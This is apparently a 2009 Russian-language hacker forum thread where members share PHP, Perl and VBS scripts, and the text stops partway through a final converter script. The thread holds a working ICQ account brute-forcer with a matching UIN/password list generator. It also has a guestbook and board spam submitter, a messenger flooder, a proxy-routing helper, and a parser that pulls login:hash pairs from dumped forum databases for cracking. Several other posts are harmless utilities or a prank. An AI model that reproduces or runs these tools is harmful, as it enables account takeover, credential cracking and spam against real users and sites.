sub cyr
{
$phrase = shift;
$phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
return $phrase;
}

#================================================= ============================
#================================================= ============================

Zedi
21.02.2009, 15:07
только что написал брут асек на пыхе, может кому пригодится
icqlib.php
<?
class ICQclient
{
var $socket, $server, $port, $connected;
var $uin, $password, $logged;
var $client = array(), $sequence, $TLV = array();
var $uin_sendto, $message;

function ICQclient($uin, $password)
{
$this->server = "login.icq.com";
$this->port = 5190;
$this->uin = (string )$uin;
$this->password = $password;
$this->client = array("name" => "icqlib.php", "country" => "ru", "language" =>
"ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1);
}

function connect()
{
$this->socket = @fsockopen($this->server, $this->port);
if (!$this->socket)
return false;
else
{
$this->connected = true;
return true;
}
}

function connect_migration()
{
list($server, $port) = explode(":", $this->TLV[0x05]);
$this->socket = @fsockopen($server, $port);
}

function login()
{
if (!$this->connected)
$this->connect();
if (!$this->connected)
return false;
$this->receive_packet();
$this->sequence = rand(0x0000, 0xFFFF);
$this->send_packet("login");
$SNAC = $this->receive_packet();
$this->parse_SNAC($SNAC);
if (!(@$this->TLV[0x05] and @$this->TLV[0x06]))
return false;
$this->connect_migration();
$this->send_packet("cookie");
$this->receive_packet();
$this->send_packet("ready");
$this->receive_packet();
$this->logged = true;
return true;
}

function send_message($uin, $message)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->message = $message;
$this->send_packet("message");
$this->receive_packet();
return true;
}

function getstatus($uin)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->send_packet("userinfo");
$SNAC = $this->receive_packet();
list(, $subfamily) = unpack("C", $SNAC[3]);
if ($subfamily == 6)
{
list(, $uin_length) = unpack("C", $SNAC[10]);
$this->parse_SNAC(substr($SNAC, 15 + $uin_length));
if ($this->TLV[6])
list(, $status_code) = unpack("C", $this->TLV[6][3]);
else
$status_code = 0xFF;
switch ($status_code)
{
case 0x00:
$status = "online";
break;
case 0x01:
$status = "away";
break;
case 0x02:
$status = "dnd";
break;
case 0x03:
$status = "dnd";
break;
case 0x04:
$status = "na";
break;
case 0x05:
$status = "na";
break;
case 0x10:
$status = "occupied";
break;
case 0x11:
$status = "occupied";
break;
case 0x13:
$status = "dnd";
break;
case 0x20:
$status = "free4chat";
break;
default:
$status = "undefined";
break;
}
} else
$status = "offline";
return $status;
}

function disconnect()
{
$this->connected = $this->logged = false;
return @fclose($this->socket);
}

function log_packet($packet, $type = "packet")
{
global $debug_log;
$debug_log .= "<p>$type:<br>";
for ($i = 0; $i < strlen($packet); $i++)
{
if (strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
$debug_log .= "0";
$debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
}
$debug_log .= "</p>";
}

function send_packet($type)
{
global $debug;
list($channel, $SNAC) = $this->gen_SNAC($type);
$FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC));
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "send");
@fwrite($this->socket, $packet);
$this->sequence++;
if ($this->sequence == 0xFFFF)
$this->sequence = 0x0000;
}

function receive_packet()
{
global $debug;
$FLAP = @fread($this->socket, 6);
list(, $length) = @unpack("n", substr($FLAP, 4, 2));
$SNAC = @fread($this->socket, $length);
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "receive");
return $SNAC;
}

function gen_SNAC($type)
{
if ($type == "login")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x01, $this->uin) . $this->gen_TLV(0x02,
xor_encrypt($this->password)) . $this->gen_TLV(0x03, $this->client["name"]) . $this->
gen_TLV(0x16, 266, 2) . $this->gen_TLV(0x17, $this->client["major"], 2) . $this->
gen_TLV(0x18, $this->client["minor"], 2) . $this->gen_TLV(0x19, $this->client["lesser"],
2) . $this->gen_TLV(0x1A, $this->client["build"], 2) . $this->gen_TLV(0x14, 85,
4) . $this->gen_TLV(0x0F, $this->client["language"]) . $this->gen_TLV(0x0E, $this->
client["country"]);
$channel = 1;
}
if ($type == "cookie")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x06, $this->TLV[0x06]);
$channel = 1;
}
if ($type == "ready")
{ // SNAC(01,02) - CLI_READY
$SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x 00\x03\x01\x10" . "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x 00\x01\x01\x10" .
"\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x 00\x01\x01\x10" . "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x 00\x01\x01\x10" .
"\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
$channel = 2;
}
if ($type == "message")
{ // SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
$this->TLV[0x0501] = pack("C", 1);
$this->TLV[0x0101] = pack("N", 0) . $this->message;
$this->TLV[0x02] = $this->gen_TLV(0x0501, $this->TLV[0x0501]) . $this->gen_TLV(0x0101,
$this->TLV[0x0101]);
$SNAC = pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->
uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02, $this->TLV[0x02]) . $this->
gen_TLV(0x06, "");
$channel = 2;
}
if ($type == "userinfo")
{ // SNAC(02,05) - CLI_LOCATION_INFO_REQ
$SNAC = pack("nnnNnca*", 0x02, 0x05, 0, 0, 1, strlen($this->uin_sendto), $this->
uin_sendto);
$channel = 2;
}
return array($channel, $SNAC);
}

function parse_SNAC($SNAC)
{
unset($this->TLV);
while (strlen($SNAC) > 0)
{
list(, $type, $length) = unpack("n2", substr($SNAC, 0, 4));
$this->TLV[$type] = substr($SNAC, 4, $length);
$SNAC = substr($SNAC, 4 + $length);
}
}

function gen_TLV($type, $value, $length = false)
{
switch ($length)
{
case 1:
$format = "C";
break; // unsigned char (8 bit)
case 2:
$format = "n";
break; // unsigned short (16 bit, big endian byte order)
case 4:
$format = "N";
break; // unsigned long (32 bit, big endian byte order)
default:
$format = "a*";
break; // NUL-padded string
}
if ($length === false)
$length = strlen($value);
return pack("nn" . $format, $type, $length, $value);
}
}

function xor_encrypt($password)
{
$roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x 53\x7a\x95\x7c";
$xored = "";
for ($i = 0; $i < strlen($password); $i++)
$xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
return $xored;
}

function put($data, $file)
{
global $go;
$f = fopen($file, "a") or die("File " . $file . " doesn't exist");
fwrite($f, $data);
fclose($f);
$go++;
}
?>
brute.php
<?php
set_time_limit(0);
ignore_user_abort(1);

require_once ("icqlib.php");

$source = "source.txt";
$good = "good.txt";
$stat = "stat.txt";
$bad = "bad.txt";

$file_s = file($source);
$count = count($file_s);
$total = $go = $guins = $pps = $buins = 0;
foreach ($file_s as $str)
{
list($uin, $password) = explode(";", $str);
$uin = trim($uin);
$password = trim($password);
$mtime = microtime();
$mtime = explode(" ", $mtime);
$mtime = $mtime[1] + $mtime[0];
$tstart = $mtime;
$debug = false;
$icq = new ICQclient($uin, $password);
$icq->connect();
if ($icq->connected)
{
$icq->login();
if ($icq->logged)
{
$put = put($str, $good);
$guins++;
} else
{
$put = put($str, $bad);
$buins++;
}
}
$mtime = microtime();
$mtime = explode(" ", $mtime);
$mtime = $mtime[1] + $mtime[0];
$tend = $mtime;
$total = $total + ($tend - $tstart);
}
if ($go != 0)
{
$pps = 1 / ($total / $go);
}
$pps = round($pps, 3);
$stats = "
++++++++++++++++++++++++++++++++
+== ICQ BRUTE BY ZEDI ==+
+==============================+
+ Попыток сделано: " . $go . " +
+ из них: +
+ удачных: " . $guins . " +
+ неудачных: " . $buins . " +
+==============================+
+ Ср. скорость: " . $pps . "PPS +
++++++++++++++++++++++++++++++++
";
$put = put($stats, $stat);
?>

и файлы нужно создать source.txt bad.txt good.txt stat.txt


или можно все скачать сразу _http://slil.ru/26941253

Zedi
21.02.2009, 21:31
когда то писал спамер гостевых книг, досок объявлений и пр.
скрипт спамит доски без капч и одного ввида
им можно не только спаминь но и региться на нескольких сайтах одновремнно и т.п. но без капч конечно

как пользоваться:
вводим список url'ов к гестбукам
вводим данные для постинга в виде name=name и т.п.(как в пост запросе)
вводим текст который появлюется при успешной отправке сообщения (для того чтобы знать сколько наспамил)
для установки set_time_limit и ignore_user_abort выбираем да

P.S. писал давно, могут быть ошибки, скажите исправлю, ну и ваши предложения по скрипту))


<?php
error_reporting ( E_ALL );
echo '<html>
<head>
<title>Submiter by Zedi</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<style type="text/css">
a:link {color: #9a9a9a; text-decoration: none;}
a:active {color: #9a9a9a; text-decoration: none;}
a:visited {color: #9a9a9a; text-decoration: none;}
a:hover {color: #000000; text-decoration: none;}

input, textarea, select
{
background-color: #ffffff;
border:#000000 1pt solid;
color: #000000;
font-size: 9px;
margin: 0px;
padding-bottom: 1px;
padding-left: 2px;
padding-right: 0px;
padding-top: 0px;
font-family: Verdana, arial, Helvetica;
line-height: 9pt;
}

body, table
{
font-family: Verdana, arial, Helvetica;
color: #000000;
font-size: 11px;
}
</style>
</head>
<body bgcolor="#f0f0f0">';
if (isset ( $_POST ['submiter'] )) {
foreach ($_POST as $post_date_key=>$post_date) {
if($post_date_key != "ok_mess"){
if(empty($post_date)) {
die("Вы не заполнили поля");
}
}
}

$list = $_POST['list'];
$data = $_POST['data'];
$ok_mess = $_POST['ok_mess'];
if($_POST['set'] == 1) {
set_time_limit(0);
ignore_user_abort(1);
}
$urls = explode("\n",$list);
foreach ($urls as $Host) {
$url_array = parse_url($Host);
$Url = $url_array["host"];
$Path = $url_array["path"];
if(isset($url_array["port"])) {
$Port = $url_array["port"];
}
else {
$Port = 80;
}
$errno = $errstr = 0;
$f = fsockopen($Url,$Port,$errno,$errstr,10);
if(!$f){
echo $errno.':'.$errstr;
continue;
}
$header = "POST $Path HTTP/1.1\r\n";
$header .= "Host: $Url\r\n";
$header .= "User_agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9) Gecko/2008052906 Firefox/3.0\r\n";
$header .= "Content-type: application/x-www-form-urlencoded\r\n";
$header .= "Connection: Close\r\n";
$header .= "Referer: $Host\r\n";
$header .= "Content-length:".strlen($data)."\r\n\r\n".$data;
stream_set_timeout($f,10);

fputs($f,$header);

if(strlen($ok_mess)){
$page = "";
while(!feof($f)) {
$page .= fgets($f,128);
}
if(strpos($page,$ok_mess)) {
echo $Url.$Port."<font color='green'>OK</font> <br>";
}
else {
echo $Url.$Port."<font color='red'>Fail</font> <br>";
}
}
else {
if($errno == 0){
echo $Url.$Port."<font color='green'>OK </font><br>";
}
else {
echo $Url.$Port."<font color='red'>Fail</font> <br>";
}
}
fclose($f);

}

} else {
echo "<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Введите список для спама</td><td><textarea rows='3' cols='17' name='list'></textarea></td></tr>
<tr><td width='150'>Введите данные</td><td><input type='text' name='data' size='20'></td></tr>
<tr><td width='150'>Текст об успешной отправке</td><td><input name='ok_mess' type='text' size='20'></td></tr>
<tr><td width='150'>Установить STL и IUB</td><td><select name='set'><option value='1' selected='selected'>Да</option><option value='0'>Нет</option></select></td></tr>
<tr><td width='150'>Начать спам</td><td><input type='submit' name='submiter' value='Пуск'> </td></tr>
</table></form>";
}
echo "Разработка:Zedi</body></html>";
?>

Pashkela
22.02.2009, 00:04
Маленькая демонстрация того, как можно использовать curl с proxy (вроде не было еще):


<?php

function get($url,$proxy) {

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_PROXY, "$proxy");
$ss=curl_exec($ch);
curl_close($ch);
return $ss;
}



$prox = '201.227.66.18:3128';
$a=get('http://2ip.ru/',$prox);
echo $a;

?>

Zedi
22.02.2009, 12:43
генератор по диапазонам ввида uin;pass, подойдет для моего брута который выше, удобно тем у кого инет медленный и на хост чтоб файл не заливать большой, генерирует по диапазону на один пароль
<?php
set_time_limit(0);
ignore_user_abort(1);
echo '<html> <head><title>Генератор</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><style type="text/css"> a:link {color: #9a9a9a; text-decoration: none;} a:active {color: #9a9a9a; text-decoration: none;} a:visited {color: #9a9a9a; text-decoration: none;} a:hover {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
if (isset($_POST['submit']))
{
foreach ($_POST as $post_date_key => $post_date)
{
if (empty($post_date))
{
die("Вы не заполнили поля");
}
}
$from = $_POST['from'];
$to = $_POST['to'];
$pass = $_POST['pass'];
$file = $_POST['file'];

$f = fopen($file, "w");
for ($from; $from < $to; $from++)
{
$data = $from.";".$pass."\r\n";
fwrite($f, $data);
}

fclose($f);
echo "OK"."<br>";
} else
{
echo "<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Диапазон с</td><td><input type='text' name='from' size='20'></td></tr>
<tr><td width='150'>по</td><td><input type='text' name='to' size='20'></td></tr>
<tr><td width='150'>Пароль</td><td><input type='text' name='pass' size='20'></td></tr>
<tr><td width='150'>Сохранить в файл</td><td><input name='file' type='text' value='source.txt' size='20'></td></tr>
<tr><td width='150'>Генерировать</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
</table></form>";
}
echo "Разработка:Zedi v.0.1</body></html><noscript>";

?>

heretic1990
22.02.2009, 20:08
незнаю, может не туда запостил, но скрипт полезный

Флудер мейл агента.
Допустим в магенте есть контакт "петя". Открываем окно контакта.

пишем в блокноте:

Код:

set wshell=createObject("wscript.shell")
FOR i=1 to 40 ' цикл , сколько сообщений отслать(40 шт)
wshell.appactivate("петя") ' активировать окно с заголовком "петя"
WSCRIPT.SLEEP(30) ' пауза чтобы окно полностью вышло на передний план
wshell.sendkeys ("флуд флуд") ' послать строку
wshell.sendkeys ("^{enter}")'Ctrl+Enter (отправляем сообщение)
wscript.sleep(6) 'пауза
next
msgbox ("Готово")


сохранить как *.vbs.

При ативации окна учитывается регистр.("петя" не тоже самое что "Петя")
Теперь, не закрывая и не сворачивая окна контакта, запустить скрипт.

п.с. можно и не только магент флудить))

Sharky
23.02.2009, 00:09
сегодня понадобилось отсортировать файл с мылами ... вот собственно результат
подходит не только для мыл, но и для сортировки любых текстовых данных в файле
#!/usr/bin/perl

use sort "stable";

$emails = 'mails.txt';
$sorted = 'sorted.txt';

my @acc : shared;

open( ACS, "<$emails" );
@acc = acc();

@c = sort @acc;
while (@c) {
{ lock(@c); $c = shift @c; }

open( FILE, ">>$sorted" );
print FILE "$c\n";
close(FILE);
{ lock($i); $i++; }
}

sub acc {
my (@mas);
while (<ACS>) {
push @mas, $_;
}
chomp @mas;
return @mas;
}

AdReNa1!Ne
23.02.2009, 01:29
<title>Взлом любого сайта за несколько минут!</title>
<?
ob_implicit_flush ();
flush();
ob_flush();
if(strlen($_POST[url]) > 30) {
echo die("Ковбой, иди ломай свою лошадь!");
flush();
ob_flush();
}
if(!isset($_POST['url'])) {
echo '
<form action="" method="POST">
Введите URL сайта - <input type=text name="url" value="http://site.ru"><br>
<input type=submit name=submit value="hack!">
</form>
';
flush();
ob_flush();
}
flush();
ob_flush();
if(isset($_POST['url']) && isset($_POST['submit'])) {
$_POST[url] = htmlspecialchars($_POST[url]);
flush();
ob_flush();
echo 'Производим взлом сайта - <b>'.$_POST[url].'</b>...<br><br>';
flush();
ob_flush();
sleep(2);
echo 'Производится поиск уязвимостей';
for($i=0; $i<rand(6,11); $i++) {
echo '.';
flush();
ob_flush();
sleep(1);
}
sleep(2);
echo '<br>';
echo 'Уязвимость найдена!<br>';
sleep(2);
echo 'Достаем данные администратора';
for($i=0; $i<rand(6,11); $i++) {
echo '.';
flush();
ob_flush();
sleep(1);
}
echo '<br><table border="1">';
$lim = rand(6,11);
for($i=1; $i<=$lim; $i++) {
if($i == $lim) {
$r = "Success!";
}
else
{
$r = "Failed!";
}
echo '<tr><td>Попытка №'.$i.' </td><td> '.$r.'</td>';
flush();
ob_flush();
sleep(rand(2,3));
}
echo '</table><br>';
$rr = rand(1, 200);
if(strlen($rr) == 1) $adm = "admin";
if(strlen($rr) == 2) $adm = "administrator";
if(strlen($rr) == 3) $adm = "moderator";
echo 'Логин и зашифрованный пароль администратора - <b>'.$adm.':'.md5(rand(100,100000)).'</b>';
echo '<br>';
}
?>

:)

AdReNa1!Ne
23.02.2009, 01:32
ICQFIGHT (то же, что и флеш версия на сайте icq.com)

<?php
function icqfight($uin1,$uin2) {
$array = array();
$a = file_get_contents("http://www.icq.com/fight/fight_frm.php?u1=".$uin1."&u2=".$uin2);
$pos = strpos($a,"Make sure you enter a valid ICQ number");
if($pos != false) {
$array['status'] = 'error';
}
$array1 = explode("&",$a);
$sc1 = $array1[0];
$sc2 = $array1[1];
$sc1 = str_replace("sc1=","",$sc1);
$sc2 = str_replace("sc2=","",$sc2);
if($sc1 > $sc2) {
$array['status'] = 'win';
} else
if($sc2 > $sc1) {
$array['status'] = 'lose';
} else
if($sc2 == $sc1 && $pos == false) {
$array['status'] = 'draw';
}
$array['score1'] = $sc1;
$array['score2'] = $sc2;
return $array;
}

if($_GET['y'] && $_GET['h']){
header("Content-type: text/html; charset=windows-1251");
$result = icqfight($_GET['y'],$_GET['h']);

if ($result['status'] == error) {
$echo = "Ошибка! Возможно, неверно введены UIN`ы.";
}
if ($result['status'] == win) {
$ret1 = " - Вы выйграли!";
$echo = "Поздравляем! Вы выйграли со счетом - <b>".$result['score1']." - ".$result['score2']."</b>.";
}
if ($result['status'] == lose) {
$ret1 = " - Вы проиграли.";
$echo = "К сожалению, вы проиграли со счетом - <b>".$result['score1']." - ".$result['score2']."</b>.";
}
if ($result['status'] == draw) {
$ret1 = " - Ничья!";
$echo = "Ничья! Счет - <b>".$result['score1']." - ".$result['score2']."</b>.";
}
echo $echo;
exit();
}

echo <<<HTML
<html>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<title>ICQ FIGHT{$ret1}</title>
<head>
<style type="text/css">
body{
background-color: rgb(238,52,63);
background-image: url("logo.jpg");
background-repeat: no-repeat;
background-position: top center;
}
</style>
<script>
function switchSettings()
{
var settings = document.getElementById('settings');
if (settings.style.visibility == 'hidden') settings.style.visibility = 'visible';
else settings.style.visibility = 'hidden';
var settings1 = document.getElementById('res');
if (settings1.style.visibility == 'hidden') settings1.style.visibility = 'visible';
else settings1.style.visibility = 'hidden';
var settings2 = document.getElementById('eshe');
if (settings2.style.visibility == 'hidden') settings2.style.visibility = 'visible';
else settings2.style.visibility = 'hidden';
}


function getPage(url,id) {
var r;

if (window.XMLHttpRequest) {
r = new XMLHttpRequest();
document.getElementById('button').disabled = true;
r.open("GET", url, false);
r.send(null);
}else if (window.ActiveXObject) {
r = new ActiveXObject("Microsoft.XMLHTTP");
if (!r)
r = new ActiveXObject("Msxml2.XMLHTTP");
if (r) {
document.getElementById('button').disabled = true;
r.open("GET", url, false);
r.send(null);
}
}
document.getElementById(id).innerHTML = r.responseText;
document.getElementById('button').disabled = false;
}
</script>
</head>
<body>
<center>
<form method="GET" action="">
<table style="margin-top: 320px; margin-left: 10px; visibility:visible;" id="settings">
<tr><td><input type="9" maxlength="9" name="your" id="your" value="you" onclick="this.value=''" size="14"/></td><td><b> VS </b></td><td><input type="9" maxlength="9" name="him" id="him" value="enemy" onclick="this.value=''" size="14"/></td></tr>
<tr><td colspan="3" align="center"><input type="button" value="FIGHT!" id='button' onclick="switchSettings(); getPage('?y='+getElementById('your').value+'&h='+getElementById('him').value,'res');"/></td></tr>
</table>
</form>
<div id="res" style="visibility:hidden;"></div>
<a href="javascript:switchSettings();" id="eshe" style="visibility:hidden;">Еще раз?</a>
</center>
</body>
</html>
HTML;
?>
http://slil.ru/26989687 <- тут лого

AdReNa1!Ne
23.02.2009, 01:38
Сокращение ссылок:
index.php

<?
include "db.php";
if(isset($_GET[id])) {
$id = mysql_real_escape_string($_GET[id]);
$url = mysql_query('SELECT * FROM url WHERE id="'.$id.'"', $db);
$url = mysql_fetch_array($url);
$url = $url[url];
if(!empty($url)) {
$rand = rand(0,10);
echo '<META HTTP-EQUIV=Refresh CONTENT="'.$rand.'; URL='.$url.'">';
echo ("\nWait $rand seconds");
}
else echo "Такой url не найден в базе!";
}
if(isset($_GET[add])) {
echo '
<form action="index.php?add" method=POST>
<pre>
URL: <input type=text name=url>
<input type=submit name="submit" value="Добавить">
</pre>
</form>
';
if(isset($_POST[submit])) {
$_POST[url] = mysql_real_escape_string($_POST[url]);
$addurl = mysql_query("INSERT INTO url (url) VALUES ('$_POST[url]')");
$addurl = mysql_query("SELECT * FROM url WHERE url='".$_POST[url]."'", $db);
$addurl = mysql_fetch_array($addurl);
$newid = $addurl[id];
if(!empty($newid)) echo "<a href='".$addr."?id=".$newid."'>".$addr."?id=".$newid."</a>";
}
}
echo '
<br>
<a href="'.$addr.'?add">Добавить URL!</a>
';
?>

db.php

<?
$host = 'localhost'; # Хост, на котором висит mysql
$user = 'root'; # Логин mysql
$pass = ''; # Пароль к mysql
$base = 'test'; # База mysql
$addr = 'http://localhost/short/index.php'; # полный адрес до скрипта

$db = mysql_connect($host,$user,$pass);
mysql_select_db($base, $db);
?>

Pashkela
25.02.2009, 23:32
Вариант 1 - просто получение информации и вывод в браузер значение переменной - 1 файл, обзовите index.php, если по другому - измените в коде в двух местах:


<?php

session_start();

if(!isset($_SESSION['res']))
{
if(isset($_GET['res']))
{
$_SESSION['res'] = $_GET['res'];
Header("Location: index.php");
}
else
{
?>

<sсriрt language="JavaScript"> self.location.href = "index.php?res="+screen.width+"x"+screen.height;</sсriрt>

<?
}
}
else
{
echo "<b>".$_SESSION['res']."</b>";
}

?>


Вариант 2 - тоже самое, только пишем разрешение монитора посетителя сайта на картинку:


<?php
Header("Content-type: image/gif");

session_start();

if(!isset($_SESSION['res']))
{
if(isset($_GET['res'])) // Получили GET?
{
$_SESSION['res'] = $_GET['res'];
Header("Location: index.php");
}
else
{
?>

<script language="JavaScript"> self.location.href = "index.php?res="+screen.width+"x"+screen.height;</script>

<?
}
}
else
{

$b = "Parametres of your monitor: ".$_SESSION['res'];

$im = ImageCreateFromPng("dss1.gif");
$black = imageColorAllocate($im, 0, 0, 0);
ImageString($im,3,20,20,$b,$black);
ImageGif($im);
ImageDestroy($im);
}

?>


и как результат:

http://s60.radikal.ru/i169/0902/6a/3046461e2ba1.jpg

mailbrush
26.02.2009, 21:28
http://bestquest.info/freeicq/freeicq.rar Все в комментах. Скрипт раздает по одному нуму на чела. Требует наличия:
session_start()
.htaccess

И как результат:
http://forum.antichat.ru/showpost.php?p=1138926&postcount=1

ph1l1ster
27.02.2009, 14:08
DataBase Parser by me

скрипт парсит бд и выводит только Login:hash, удобно))

пока парсит только:

1 - vBulletin
2 - phpBB 2
3 - SMF
4 - Joomla
5 - PHP-Fusion
6 - e107
7 - DLE
8 - WordPress
9 - PunBB
10 - PHP-nuke

как только, так сразу движки будут добавляться.


#!usr/bin/perl
system ('cls');
print "###################################\n";
print "# DataBase Parser by ph1l1ster #\n";
print "###################################\n";
print "# ||||| Enjoy ;) ||||| #\n";
print "###################################\n\n\n\n";
print "What we do parsing?\n";
print "1 - vBulletin\n";
print "2 - phpBB 2\n";
print "3 - SMF\n";
print "4 - Joomla\n";
print "5 - PHP-Fusion\n";
print "6 - e107\n";
print "7 - DLE\n\n";

$do = <STDIN>;

if ($do == 1)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n\n";
foreach $parsr (@parsr)
{
($a, $a, $a, $a, $a, $a, $a, $a, $a, $login, $a, $hash, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $status, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $salt) = split("'",$parsr);
chomp($login);
chomp($hash);
chomp($salt);
}
print PARSED "$login:$hash:$salt\n";
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 2)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 3)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 4)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $a, $a, $a, $a, $login, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 5)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 6)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $status, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 7)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $mail, $a, $hash, $a, $login) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 8)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 9)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}
if ($do == 10)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $a, $a, $a, $a, $login, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

ph1l1ster
27.02.2009, 14:11
c0nvert0r

я канечно понимаю что щас дофига сайтов всяких по енкоде\декоде но делато было вечером.. ;)

- C4lcul4te MD5
- C4lcul4te Base64
- C4lcul4te SHA1
- ASCII to hex
- ASCII to Binary
- Hex to Binary
- SQL Hex

#!usr/bin/perl
system ('cls');
print "+++++++++++++++++++++++++++++++++++++++++++++++\n";
print "+++++++++c0nvert0r by ph1l1ster++++++++++\n";
print "+++++++++++++++++++++++++++++++++++++++++++++++\n\ n\n";
print "### What we will do?\n\n1 - C4lcul4te MD5\n2 - C4lcul4te Base64\n3 - C4lcul4te SHA1\n4 - ASCII to hex\n5 - ASCII to Binary\n6 - Hex to Binary\n7 - SQL Hex\n8 - Exit\n";
$what = <stdin>;
if ($what == 1)
{
use Digest::MD5 qw(md5_hex);
print "Enter simvols: ";
$md5 = <STDIN>;
chomp ($md5);
print "Md5 hash: ", md5_hex("$md5"), "\n";
}
if ($what == 2)
{
use MIME::Base64;
print "Enter simvols: ";
$b64 = <STDIN>;
chomp ($b64);
